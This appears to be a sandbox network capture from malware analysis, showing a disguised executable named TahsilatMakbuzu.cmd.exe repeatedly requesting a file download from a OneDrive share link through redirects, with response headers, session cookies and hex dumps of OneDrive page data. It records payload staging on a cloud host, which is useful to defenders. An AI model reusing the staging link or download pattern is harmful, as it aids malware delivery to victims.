2024-07-04 18:16:51 UTC	1291	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODEwLCJuYmYiOjE3MjAxMTcwMTAsImdpdmVuX25hbWUiOiI2MiIsImZhbWlseV9uYW1lIjoiU2VhIGxpb24iLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJiMTI4N2RjZDFlMmQ4ODMzNjIxMTM2ZDM2OGRhZDhmNSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDEwfQ.fEvUuSteAPVmrxgPcq1Jqi7xrPSUtGLJ_UBefkjjqgEsXH-in1zDm2mZzvCKQg_TERWZIEVrbjqp0PPkmKdBMRxr7csft_vI4RwjtFJnw_AT8oNg9aSK108dV7uG2yNq7kNoOixCkHED1f1BfdbDcuBQ4o2XPGKuhGIh1P_KovO5_v-bEGLVyrGzPxkdLyZuNI2vRVlJFHQmcYrkLIWcgfUS9EQ4oKobjZmUaL1MDjPTprj3M9TJV7OZVA2nNF7HcVhUFjkpj3_mgNcfAPI8ppTq9uOscFQAopAe33WNXgoXKkQIbGOwMz-OxEU7nO94He7VWDSj_pMHomFW_dg2wQ; E=P:B1FieVWc3Ig=:hem1BL/yjr2leFUwsfjC2mk7qR/8c6Qh4lplsPfcmg8=:F; xid=8ad4d231-d03a-4355-a0cc-fe01ec [TRUNCATED]
2024-07-04 18:16:51 UTC	1926	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205852 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,31,42374,0,155630,30 X-SharePointHealthScore: 2 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 371239a1-10d2-5000-cc25-cc60488485ac request-id: 371239a1-10d2-5000-cc25-cc60488485ac MS-CV: oTkSN9IQAFDMJcxgSISFrA.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 28 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 0C114C4A494B42A28F9CD058FFCA0149 Ref B: BN3EDGE1122 Ref C: 2024-07-04T18:16:51Z Date: Thu, 04 Jul 2024 18:16:51 GMT Connection: close
2024-07-04 18:16:51 UTC	3490	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:16:51 UTC	8192	IN	Data Raw: 22 37 46 46 38 42 32 44 41 2d 35 38 32 34 2d 34 44 43 44 2d 41 39 46 36 2d 44 41 45 30 41 34 33 39 32 37 32 46 22 3a 74 72 75 65 2c 22 43 32 38 34 35 36 34 31 2d 35 35 43 45 2d 34 42 42 38 2d 39 44 35 36 2d 33 41 41 34 41 36 32 44 46 34 35 43 22 3a 74 72 75 65 2c 22 41 37 44 31 35 41 46 42 2d 42 43 43 35 2d 34 38 42 44 2d 42 38 42 36 2d 41 39 32 36 41 34 42 45 31 37 31 41 22 3a 74 72 75 65 2c 22 30 31 46 39 45 31 36 41 2d 35 38 34 45 2d 34 36 33 34 2d 39 45 46 46 2d 32 43 32 31 42 44 43 33 45 38 41 33 22 3a 74 72 75 65 2c 22 36 36 46 46 45 41 30 31 2d 45 39 31 39 2d 34 39 39 32 2d 38 37 46 32 2d 30 36 39 33 43 43 36 43 37 42 35 30 22 3a 74 72 75 65 2c 22 37 30 35 43 46 44 37 33 2d 35 33 45 33 2d 34 34 38 33 2d 42 36 44 32 2d 44 33 38 34 45 36 43 37 44 33 Data Ascii: "7FF8B2DA-5824-4DCD-A9F6-DAE0A439272F":true,"C2845641-55CE-4BB8-9D56-3AA4A62DF45C":true,"A7D15AFB-BCC5-48BD-B8B6-A926A4BE171A":true,"01F9E16A-584E-4634-9EFF-2C21BDC3E8A3":true,"66FFEA01-E919-4992-87F2-0693CC6C7B50":true,"705CFD73-53E3-4483-B6D2-D384E6C7D3
2024-07-04 18:16:51 UTC	2894	IN	Data Raw: 44 2d 38 45 38 35 2d 34 31 44 42 2d 41 30 39 37 2d 43 35 32 36 37 44 42 39 46 38 44 45 22 3a 74 72 75 65 2c 22 37 31 32 38 44 30 30 37 2d 33 31 41 43 2d 34 34 38 30 2d 39 46 35 46 2d 41 42 35 44 36 44 42 42 39 43 39 42 22 3a 74 72 75 65 2c 22 37 31 45 36 41 39 34 46 2d 33 33 32 39 2d 34 31 36 30 2d 39 36 30 31 2d 36 45 44 36 31 41 32 43 34 37 37 32 22 3a 74 72 75 65 2c 22 41 32 42 43 33 39 37 37 2d 35 41 35 42 2d 34 30 35 44 2d 38 33 32 31 2d 42 45 39 32 37 44 30 36 30 32 41 32 22 3a 74 72 75 65 2c 22 30 35 43 41 33 38 35 42 2d 42 33 34 39 2d 34 32 45 37 2d 42 39 43 43 2d 43 31 34 32 33 34 35 39 34 31 36 35 22 3a 74 72 75 65 2c 22 36 31 46 31 44 42 41 33 2d 35 31 36 33 2d 34 37 30 39 2d 39 34 45 46 2d 44 33 42 33 46 42 32 44 36 33 42 41 22 3a 74 72 75 65 Data Ascii: D-8E85-41DB-A097-C5267DB9F8DE":true,"7128D007-31AC-4480-9F5F-AB5D6DBB9C9B":true,"71E6A94F-3329-4160-9601-6ED61A2C4772":true,"A2BC3977-5A5B-405D-8321-BE927D0602A2":true,"05CA385B-B349-42E7-B9CC-C14234594165":true,"61F1DBA3-5163-4709-94EF-D3B3FB2D63BA":true
2024-07-04 18:16:51 UTC	8192	IN	Data Raw: 65 2c 22 42 37 45 36 36 39 44 30 2d 46 31 38 46 2d 34 37 32 44 2d 42 37 38 41 2d 38 35 32 44 44 32 42 30 45 36 31 33 22 3a 74 72 75 65 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 Data Ascii: e,"B7E669D0-F18F-472D-B78A-852DD2B0E613":true,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973
2024-07-04 18:16:51 UTC	8192	IN	Data Raw: 34 33 43 2d 33 31 43 31 2d 34 33 44 43 2d 42 35 36 34 2d 37 38 32 44 37 42 32 37 43 43 39 45 22 3a 74 72 75 65 2c 22 30 30 34 30 45 35 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 Data Ascii: 43C-31C1-43DC-B564-782D7B27CC9E":true,"0040E5ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":tr
2024-07-04 18:16:51 UTC	8192	IN	Data Raw: 2d 34 38 36 33 2d 38 30 31 38 2d 39 41 38 41 45 32 38 32 34 46 39 32 22 3a 74 72 75 65 2c 22 42 43 30 34 36 35 44 41 2d 43 34 41 31 2d 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 Data Ascii: -4863-8018-9A8AE2824F92":true,"BC0465DA-C4A1-4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"8146
2024-07-04 18:16:51 UTC	8192	IN	Data Raw: 41 37 2d 30 36 41 43 33 43 31 38 31 44 44 41 22 3a 74 72 75 65 2c 22 46 41 44 35 36 34 39 45 2d 41 35 30 30 2d 34 44 32 35 2d 39 45 32 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 Data Ascii: A7-06AC3C181DDA":true,"FAD5649E-A500-4D25-9E2A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB
2024-07-04 18:16:52 UTC	8192	IN	Data Raw: 43 46 45 36 38 37 41 22 3a 74 72 75 65 2c 22 38 32 42 42 39 44 35 31 2d 44 34 45 32 2d 34 42 32 42 2d 39 31 32 43 2d 34 30 39 35 43 34 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 Data Ascii: CFE687A":true,"82BB9D51-D4E2-4B2B-912C-4095C42955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-9
2024-07-04 18:16:52 UTC	8192	IN	Data Raw: 3a 74 72 75 65 2c 22 42 39 44 35 35 45 34 36 2d 43 37 31 37 2d 34 30 34 39 2d 41 38 41 34 2d 44 31 30 41 46 32 31 46 43 38 36 36 22 3a 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 Data Ascii: :true,"B9D55E46-C717-4049-A8A4-D10AF21FC866":true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3
2024-07-04 18:16:52 UTC	8192	IN	Data Raw: 30 41 35 42 31 34 34 2d 41 35 46 33 2d 34 42 41 37 2d 41 34 31 38 2d 43 43 45 45 34 39 33 35 38 31 38 35 22 3a 74 72 75 65 2c 22 37 41 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 Data Ascii: 0A5B144-A5F3-4BA7-A418-CCEE49358185":true,"7AA8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49771	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:52 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:52 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: DS1PPF182B73D7D Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: 2Hd9i4P2YES/0ZyMak89RQ.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 1943CFD6EF1643719CD48710ED79B6A5 Ref B: EWR30EDGE0318 Ref C: 2024-07-04T18:16:52Z Date: Thu, 04 Jul 2024 18:16:52 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49772	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:53 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:16:54 UTC	2216	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:OmBje1Wc3Ig=:UCCUAqNeIaYGPyX9nihGNejj5epWn6cDyLlUKz3+16U=:F; domain=.live.com; path=/ Set-Cookie: xid=d4c5dad0-d4a9-449f-9440-e08cd7181edb&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:36:53 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODEzLCJuYmYiOjE3MjAxMTcwMTMsImdpdmVuX25hbWUiOiIxOSIsImZhbWlseV9uYW1lIjoiQmVlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMTk0MDFjOGIyYTRjNGYyOWY4ZmI3M2MwMmNhOGI5NDMiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzAxM30.G34D1zXblj5u8OaRb7svRNz9g9knmqCTQRduMQXH3NLWRPywUX3il_P3zZlhsWpfa3pJMtacNlTsLOA6MQhBWJVmDwGa0HhYf8hKMLhooUYKiFCdzJPjgNJaigDkg0wqeLFM2UMfWa02Qvgc39Q8gIz9fYKNUxP8D1F4fb03wB-i9CFqveYC5UVxEE9drK3Pu9Rd_Khe-KZ2rtrCYE5INXgtQWWnkxT_CzgaYTdiVqIUPATu8Wi351E-cUxL2OJNuVDrsY_8yQ79WhCuCOQrcT405mE3B1FYRhNyX_EtDBAYPnmolcH0kftelkPf-MTuJARLQRfTwHGlIU8eKfAtVw; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:16:54 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-4h748 X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 4D15A5D100E1458DB48521E4687C3588 Ref B: BN3EDGE0518 Ref C: 2024-07-04T18:16:53Z Date: Thu, 04 Jul 2024 18:16:53 GMT Connection: close
2024-07-04 18:16:54 UTC	100	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5
2024-07-04 18:16:54 UTC	211	IN	Data Raw: 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d 70 3b 63 69 64 3d 62 66 32 62 37 63 30 38 33 38 62 35 65 31 62 64 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49773	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:55 UTC	1284	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODEzLCJuYmYiOjE3MjAxMTcwMTMsImdpdmVuX25hbWUiOiIxOSIsImZhbWlseV9uYW1lIjoiQmVlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMTk0MDFjOGIyYTRjNGYyOWY4ZmI3M2MwMmNhOGI5NDMiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzAxM30.G34D1zXblj5u8OaRb7svRNz9g9knmqCTQRduMQXH3NLWRPywUX3il_P3zZlhsWpfa3pJMtacNlTsLOA6MQhBWJVmDwGa0HhYf8hKMLhooUYKiFCdzJPjgNJaigDkg0wqeLFM2UMfWa02Qvgc39Q8gIz9fYKNUxP8D1F4fb03wB-i9CFqveYC5UVxEE9drK3Pu9Rd_Khe-KZ2rtrCYE5INXgtQWWnkxT_CzgaYTdiVqIUPATu8Wi351E-cUxL2OJNuVDrsY_8yQ79WhCuCOQrcT405mE3B1FYRhNyX_EtDBAYPnmolcH0kftelkPf-MTuJARLQRfTwHGlIU8eKfAtVw; E=P:OmBje1Wc3Ig=:UCCUAqNeIaYGPyX9nihGNejj5epWn6cDyLlUKz3+16U=:F; xid=d4c5dad0-d4a9-449f-9440-e08cd7181edb& [TRUNCATED]
